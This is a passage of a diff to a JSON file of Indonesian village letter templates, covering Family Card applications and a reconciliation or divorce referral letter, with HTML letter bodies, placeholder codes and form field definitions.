      \u00a0<\/td>\r\n11.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[NAma_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nNIK \/ Tanggal Lahir Ayah<\/td>\r\n:<\/td>\r\n[Nik_ayaH] \/ [Tanggallahir_ayaH]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan Ayah<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n14.<\/td>\r\nAlamat Ayah<\/td>\r\n:<\/td>\r\n[Alamat_ayaH] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nSurat Keterangan ini dibuat berdasarkan keterangan pelapor:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n15.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n16.<\/td>\r\nNIK \/ Jenis Kelamin<\/td>\r\n:<\/td>\r\n[Nik_pelapoR] \/ [Jenis_kelamin_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n17.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n18.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n19.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat keterangan ini dibuat dengan sebenarnya, atas perhatian dan terkabulnya diucapkan terima kasih.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_desA], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nNama_pamonG<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nNIP : [Nip_kepala_camaT]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n[qr_code]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "hubungan": null }, + "pelapor": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Identitas Pelapor", + "label": "Identitas Pelapor", + "hubungan": "" + } + }, + "kode_isian": null, + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Permohonan Kartu Keluarga", + "url_surat": "surat-permohonan-kartu-keluarga", + "kode_surat": "S-36", + "lampiran": "F-1.15,F-1.01,F-1.02", + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      <\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      <\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n8.

      <\/td>\r\n
      Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n <\/td>\r\n <\/td>\r\n<\/tr>\r\n
      <\/td>\r\n <\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n <\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nPermohonan Kartu Keluarga baru WNI.<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n12.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar-benar penduduk [SeButan_desa] kami dan ada istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      <\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Pemegang Surat<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n



      <\/td>\r\n
      <\/td>\r\n<\/tr>\r\n
      [NAma]<\/strong><\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
      <\/td>\r\n <\/td>\r\n <\/td>\r\n<\/tr>\r\n
      <\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      <\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      <\/td>\r\nMengetahui,<\/td>\r\n <\/td>\r\n<\/tr>\r\n
      <\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n <\/td>\r\n<\/tr>\r\n
      [qr_code]<\/td>\r\n


      <\/td>\r\n
      <\/td>\r\n<\/tr>\r\n
      ..............................................<\/td>\r\n <\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      <\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + 1 + ] + } + }, + "kode_isian": [ { - "kategori": "slama", - "tipe": "text", - "kode": "[form_nama_suami_terdahulu]", - "nama": "Nama Suami Terdahulu", - "deskripsi": "Nama Suami Terdahulu ", - "required": "0", + "tipe": "select-manual", + "kode": "[form_alasan_permohonan]", + "nama": "Alasan Permohonan", + "deskripsi": "Alasan Permohonan", "atribut": null, - "pilihan": null, + "pilihan": [ + "KARENA MEMBENTUK RUMAH TANGGA BARU", + "KARENA KARTU KELUARGA HILANG\/RUSAK", + "LAINNYA" + ], "refrensi": null, - "kolom": "4", - "label": "Nama Suami Terdahulu \/ Bin Terdahulu", - "kaitkan_kode": "" + "required": "0" }, { - "kategori": "slama", "tipe": "text", - "kode": "[form_bin]", - "nama": "Bin", - "deskripsi": "Bin", - "required": "0", + "kode": "[form_nomor_kartu_keluarga_semula]", + "nama": "Nomor Kartu Keluarga Semula", + "deskripsi": "Nomor Kartu Keluarga Semula", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nama Suami Terdahulu \/ Bin Terdahulu", - "kaitkan_kode": "" + "required": "0" }, { - "kategori": "slama", - "tipe": "text", - "kode": "[form_no_ktp]", - "nama": "No Ktp", - "deskripsi": "No KTP", - "required": "0", - "atribut": null, + "tipe": "textarea", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Keterangan", + "atribut": "", "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nama Suami Terdahulu \/ Bin Terdahulu", - "kaitkan_kode": "" + "required": "1" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Pengantar Rujuk atau Cerai", + "url_surat": "surat-keterangan-pengantar-rujukcerai", + "kode_surat": "S-35", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "d", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan bahwa berdasarkan keterangan dari :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nBin<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Telah rujuk\/cerai *) dengan :
      <\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n8.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pasangan]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nBinti<\/td>\r\n:<\/td>\r\n[FoRm_nama_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nTempat dan Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TeMpatlahir_pasangan], [Tanggallahir_pasangaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n11.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n14.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlAmat_pasangan]\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

      \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "hubungan": null }, + "pasangan": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Pasangan", + "label": "Data Pasangan", + "hubungan": "" + } + }, + "kode_isian": [ { - "kategori": "slama", + "kategori": "pasangan", "tipe": "text", - "kode": "[form_tempat_lahir]", - "nama": "Tempat Lahir", - "deskripsi": "Tempat Tanggal Lahir", + "kode": "[form_nama_ayah]", + "nama": "Nama Ayah", + "deskripsi": "Nama Ayah Pasangan", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "8", - "label": "Tempat Tanggal Lahir", + "kolom": "", + "label": "Nama Ayah", "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "date", - "kode": "[form_tanggal_lahir]", - "nama": "Tanggal Lahir", - "deskripsi": "Tempat Tanggal Lahir", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "Tempat Tanggal Lahir", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "select-otomatis", - "kode": "[form_warga_negara]", - "nama": "Warga Negara", - "deskripsi": "Pilih Warga Negara", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": "tweb_penduduk_warganegara", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "select-otomatis", - "kode": "[form_agama]", - "nama": "Agama", - "deskripsi": "Pilih Agama", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": "tweb_penduduk_agama", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "select-otomatis", - "kode": "[form_pekerjaan]", - "nama": "Pekerjaan", - "deskripsi": "Pilih Pekerjaan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": "tweb_penduduk_pekerjaan", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "text", - "kode": "[form_tempat_tinggal]", - "nama": "Tempat Tinggal", - "deskripsi": "Tempat Tinggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Tempat Tinggal", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "date", - "kode": "[form_tanggal_meninggal]", - "nama": "Tanggal Meninggal", - "deskripsi": "Tanggal Meninggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "Meninggal Dunia Pada Tanggal \/ Tempat", - "kaitkan_kode": "" - }, - { - "kategori": "slama", - "tipe": "text", - "kode": "[form_tempat_meninggal]", - "nama": "Tempat Meninggal", - "deskripsi": "Tempat Meninggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "8", - "label": "Meninggal Dunia Pada Tanggal \/ Tempat", - "kaitkan_kode": "" - }, - { - "kategori": "Saksi_I", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Telepon", - "kaitkan_kode": "" - }, - { - "kategori": "Saksi_I", - "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", - "kaitkan_kode": "" - }, - { - "kategori": "Saksi_II", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Telepon", - "kaitkan_kode": "" - }, - { - "kategori": "Saksi_II", - "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_hari_nikah]", - "nama": "Hari nikah", - "deskripsi": "hari nikah", - "required": "0", - "atribut": "class=\" hari\"\r\nreadonly", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_nikah]", - "nama": "Tanggal Nikah", - "deskripsi": "Tanggal Nikah", - "required": "0", - "atribut": "class=\" datepicker data_hari\"", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "time", - "kode": "[form_jam_nikah]", - "nama": "Jam Nikah", - "deskripsi": "Jam Nikah", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "select-otomatis", - "kode": "[form_agama]", - "nama": "Agama", - "deskripsi": "Pilih Agama", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": "tweb_penduduk_agama", - "kolom": "6", - "label": "Agama\/Penghayat Kepercayaan", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Organisasi Penghayat Kepercayaan", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_badan_peradilan]", - "nama": "Nama Badan Peradilan", - "deskripsi": "Nama Badan Peradilan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nomor_putusan_penetapan_pengadilan]", - "nama": "Nomor Putusan Penetapan Pengadilan", - "deskripsi": "Nomor Putusan Penetapan Pengadilan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_putusan_penetapan_pengadilan]", - "nama": "Tanggal Putusan Penetapan Pengadilan", - "deskripsi": "Tanggal Putusan Penetapan Pengadilan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_pemuka_agamapghyt_kepercayaan]", - "nama": "Nama Pemuka Agama\/Pghyt Kepercayaan", - "deskripsi": "Nama Pemuka Agama\/Pghyt Kepercayaan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_ijin_perwakilan_bagi_wna_nomor]", - "nama": "Ijin Perwakilan bagi WNA \/ Nomor", - "deskripsi": "Ijin Perwakilan bagi WNA \/ Nomor", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_jumlah_anak_yang_telah_diakui_dan_disahkan]", - "nama": "Jumlah Anak Yang Telah Diakui dan Disahkan", - "deskripsi": "Jumlah Anak Yang Telah Diakui dan Disahkan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_pertama]", - "nama": "Nama Anak Pertama", - "deskripsi": "Nama Anak Pertama", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_kedua]", - "nama": "Nama Anak Kedua", - "deskripsi": "Nama Anak Kedua", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_ketiga]", - "nama": "Nama Anak Ketiga", - "deskripsi": "Nama Anak Ketiga", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_ke_empat]", - "nama": "Nama Anak Ke Empat", - "deskripsi": "Nama Anak Ke Empat", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_ke_lima]", - "nama": "Nama Anak Ke Lima", - "deskripsi": "Nama Anak Ke Lima", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_nama_anak_ke_enam]", - "nama": "Nama Anak Ke Enam", - "deskripsi": "Nama Anak Ke Enam", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "12", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_no_akta_lahir_anak_pertama]", - "nama": "No Akta Lahir Anak Pertama", - "deskripsi": "No Akta Lahir Anak Pertama", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_pertama]", - "nama": "Tanggal Lahir Anak Pertama", - "deskripsi": "Tanggal Lahir Anak Pertama", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_no_akta_lahir_anak_kedua]", - "nama": "No Akta Lahir Anak Kedua", - "deskripsi": "No Akta Lahir Anak Kedua", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_kedua]", - "nama": "Tanggal Lahir Anak Kedua", - "deskripsi": "Tanggal Lahir Anak Kedua", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_no_akta_lahir_anak_ketiga]", - "nama": "No Akta Lahir Anak Ketiga", - "deskripsi": "No Akta Lahir Anak Ketiga", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_ketiga]", - "nama": "Tanggal Lahir Anak Ketiga", - "deskripsi": "Tanggal Lahir Anak Ketiga", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_no_akta_lahir_anak_ke_empat]", - "nama": "No Akta Lahir Anak Ke Empat", - "deskripsi": "No Akta Lahir Anak Ke Empat", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_ke_empat]", - "nama": "Tanggal Lahir Anak Ke Empat", - "deskripsi": "Tanggal Lahir Anak Ke Empat", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Permohonan Perubahan Kartu Keluarga", + "url_surat": "surat-permohonan-perubahan-kartu-keluarga", + "kode_surat": "S-41", + "lampiran": "F-1.01,F-1.02,F-1.16", + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

